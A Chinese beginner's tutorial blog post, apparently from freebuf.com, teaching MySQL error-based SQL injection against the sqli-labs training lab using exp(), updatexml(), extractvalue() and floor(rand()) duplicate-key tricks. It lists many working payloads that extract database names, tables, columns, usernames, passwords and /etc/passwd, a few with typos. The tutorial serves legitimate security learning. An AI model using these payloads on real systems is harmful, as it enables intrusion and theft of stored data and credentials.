老铁们,我又来更新了!!!哈哈哈,惰性害死人啊,本来想着每天更一篇的,怕是由于我各种各样的懒惰理由,这系列的文改成随机更新了,哈哈。。。不过,入门级的老铁们还是可以持续跟进的,欢迎欢迎!!!
上一篇文简单的对联合查询注入做了入门级的介绍和实验。。。相信各位老铁已经消化了上一篇的内容。。。那么这篇文就更新 关于 报错注入 的入门知识吧。。。
欢迎大佬们指教!!!
那么好,我们还是接着sqli-labs的实验环境走下去,看看能遇到什么问题呢?
按照上一篇文的进度,我们开始做Less-5
http://172.20.10.13/sqli-labs/Less-5
按照常规的思考方式,我们还是先判断闭合方式: http://172.20.10.13/sqli-labs/Less-5?id=1′
按照报错标加粗位置,推断闭合方式应该是单引号闭合
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1” LIMIT 0,1‘ at line 1
http://172.20.10.13/sqli-labs/Less-5?id=1′–+ 页面果然显示正常
利用order by语句判断字段数
http://172.20.10.13/sqli-labs/Less-5?id=1’order by 3–+(页面显示正常)
http://172.20.10.13/sqli-labs/Less-5?id=1’order by 4–+(页面显示不正常)
利用union select 1,2,3判断回显
http://172.20.10.13/sqli-labs/Less-5?id=-1’union select 1,2,3–+
哎呀!!!页面怎么没有回显位置呢?这种情况又怎么办呢? 对于这种,没有回显位置的情况,很明显我们就不能使用常规的联合查询注入方法来获取数据库信息了。
那么我们又能通过什么方式呢?
答:在上面的测试闭合方式,猜字段数的过程和结果中,我们发现它虽然不回显位置,但是页面仍然返回报错信息!!!
那就引入了另一种注入手法:报错注入
报错注入
1.什么是报错注入?
报错注入是通过特殊函数错误使用并使其输出错误结果来获取信息的。简单点说,就是在可以进行sql注入的位置,调用特殊的函数执行,利用函数报错使其输出错误结果来获取数据库的相关信息
2.报错注入的前提
可以利用报错注入的前提:就是页面有错误信息显示出来
3.报错注入的种类
mysql的报错注入主要是利用mysql数据库的一些逻辑漏洞分为以下几类:
BigInt等数据类型溢出
函数参数格式错误
主键/字段重复
4.报错函数
BigInt数据类型溢出报错注入
exp(int)函数 利用的就是BigInt数据类型溢出 适
用mysql数据库版本是:5.5.5~5.5.49
函数作用:返回e的x次方,当x的值足够大的时候就会导致函数的结果数据类型溢出,也就会因此报错
注入时的利用方式:当涉及到注入时,我们使用否定查询来造成”DOUBLE value is out of range”
因为函数成功执行时,会返回0,那么我们先将0按位取反,在获取e的那个数的次方,就会造成BigInt大数据类型溢出,就会报错
太好了,上面的第五个练习题有救了!!! 利用exp(int)函数,使用否定查询,进行报错注入
http://172.20.10.13/sqli-labs/Less-5?id=1' and exp(~(select * from (select user())a))--+
hahahaha。。。我们成功的利用exp()函数造成大数据溢出报错了 那么上面的那句话是什么意思呢?
and exp(~(select * from (select user())a))
1.先查询select user()这个语句的结果,然后将查询出来的数据作为一个结果集取名为a
2.然后在查询select * from a 查询a,将结果集a全部查询出来
3.查询完成,语句成功执行,返回值为0,再取反获取,是exp调用的时候报错
注意:这里必须使用select语句进行嵌套,不然无法大整数溢出 获取表名信息
我们成功使用exp()函数使报错,但是貌似这题不能利用exp函数进行注入呢。。。。没关系,还有很多利用方式进行报错注入呢。。。
此处虽然用不到该函数,那我就先把payload给大家写出来吧!以免有些 老铁 走弯路。。。
获取表名信息
and exp(~(select * from (select table_name from information_schema.tables where table_schema=database() limit 0,1)a))
获取列名信息
and exp(~(select * from (select column_name from information_schema.columns where table_name='users' limit 0,1)a))
获取列名对应的信息
and exp(~(select * from(select username from 'usres' limit 0,1)))
读取文件
and exp(~(select * from (select load_file('/etc/passwd'))a))
注意:对于所有的insert、update和delete语句DIOS查询也同样可以使用 除了exp()函数之外,pow()之类的相似函数同样可以利用BigInt数据溢出的方式进行报错注入
既然,上面的Big数据溢出的方式在此题中不能使用,那么我么可以尝试其他类型的报错注入:
参数格式错误进行报错注入
updatexml() 函数利用的就是mysql函数参数格式错误进行报错注入
updatexml()函数语法:updatexml(XML_document,Xpath_string,new_value);
函数语法解析:
XML_document:是字符串String格式,为XML文档对象名称
Xpath_string:Xpath格式的字符串
new_value:string格式,替换查找到的符合条件的数据
适用版本是:5.1.5+
利用方式:在执行两个函数时,如果出现xml文件路径错误,就会产生报错 那么我们就需要构造Xpath_string格式错误,也就是我们将Xpath_string的值传递成不符合格式的参数,mysql就会报错
查询当前数据库的用户信息以及数据库版本信息
http://172.20.10.13/sqli-labs/Less-5/?id=1′ and updatexml(1,concat(0x7e,user(),0x7e,version(),0x7e),3)–+
查询当前数据库名称及操作系统版本信息:
http://172.20.10.13/sqli-labs/Less-5/?id=1′ and updatexml(1,concat(0x7e,database(),0x7e,@@version_compile_os,0x7e),3)–+
获取当前数据库下数据表信息:
http://172.20.10.13/sqli-labs/Less-5/?id=1′ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),3)–+
注意:报错注入不能使用group_concat()函数直接将所有信息获取出来,只能一条一条获取,而且必须使用limit 0,1控制(具体为什么,各位去实验一下哈,,,授人以鱼不如授人以渔)
获取users表名的列名信息:
http://172.20.10.13/sqli-labs/Less-5/?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),0x7e),3)--
获取users数据表下username、password两列名的用户字段信息
http://172.20.10.13/sqli-labs/Less-5/?id=1' and updatexml(1,concat(0x7e,(select username from users limit 2,1),0x7e),3)--+ http://172.20.10.13/sqli-labs/Less-5/?id=1' and updatexml(1,concat(0x7e,(select password from users limit 4,1),0x7e),3)--+
注意:在使用updatexml()函数造成xpath格式不符报错注入的时候,需要注意: updatexml最多只能显示32位,需要配合SUBSTR使用
与updatexml()报错函数利用原理一样的还有extractvalue()函数!
extractvalue()
函数语法:extractvalue(XML_document,XPath_string)
适用的版本:5.1.5+
利用的原理也是xpath格式不符报错注入
获取当前是数据库名称及使用mysql数据库的版本信息:
and extractvalue(1,concat(0x7e,database(),0x7e,version(),0x7e))
获取当前注入点的用户权限信息及操作系统版本信息:
and extractvalue(1,concat(0x7e,@@version_compile_os,0x7e,user(),0x7e))
获取当前位置所用数据库的位置:
and extractvalue(1,concat(0x7e,@@datadir,0x7e))
获取数据表信息:
and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e))
获取users数据表的列名信息:
and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name=’users’ limit 0,1),0x7e))
获取对应的列名的信息(username\password):
and extractvalue(1,concat(0x7e,(select username from users limit 0,1),0x7e))
payload我给大家写在这边了,大家自己记得练习哈!!!
上面的两种报错注入方式,exp()函数报错是利用BigInt数据类型溢出实现报错注入;updatexml()和extractvalue()函数利用的xpath格式错误实现报错注入
那么除了上面两种方式:还有一种实现报错注入的方式就是主键重复实现!
主键重复
这种方式可以实现报错的原因是:虚拟表的主键重复。
首先,主键重复方式的报错注入利用的函数有: floor() + rand() + group() + count()
其中, floor()函数的作用就是返回小于等于该值的最大整数,即向下取整,只保留整数部分
count()函数是一个计数函数 group by 语句与count()函数结合,根据一个或多个列对结果集进行分组 rand()函数用来随机生成0或1,在sql报错注入中,我们使用rand(0)获取有规律可循的0或1随机数字(rand()生成的数字是完全随机的)
主键重复报错注入原理:
在mysql数据库中,使用group by 进行分组查询的时候,数据库会生成一张虚拟表,并且使用group by还要进行两次运算,第一次运算是先获取group by后面的值,然后拿group by后面的值去和虚拟表中的值比较;第二次是对比虚拟表中的值如果group by后面的值在虚拟表中不存在,那么就将group by后面的值插入到虚拟表中,当插入虚拟表中时,进行运算。那么,rand()函数存在一定的随机性,所以group by后面的值两次计算结果可能不一致,但是这个运算的结果可能在虚拟表中已经存在了,那么这时候吧值插入到虚拟表中就会导致主键重复,进而引发错误!!来实现我们想要的效果
payload:
and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a) and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
http://172.20.10.13/sqli-labs/Less-6?id=1
来到less6的页面之后,不难发现,这页面的显示和less5差不多,都貌似不会存在回显位置。。。那么大家结合今天学到的去实验一下吧!哈哈哈,多多动手练习哈!
总结
好了,老铁们。。。今天的报错注入就写到这里了。。。啊啊啊,截图码字是灾难啊。汉语言文学博大精深,原谅我这个学渣没有好好理解其精华。。哈哈,不贫了不贫了,还是希望大家多多练习,并且持续关注我这个系列的文哈,大家一起进步嘛!
来源:freebuf.com 2021-05-22 10:32:58 by: whiteH
请登录后发表评论
注册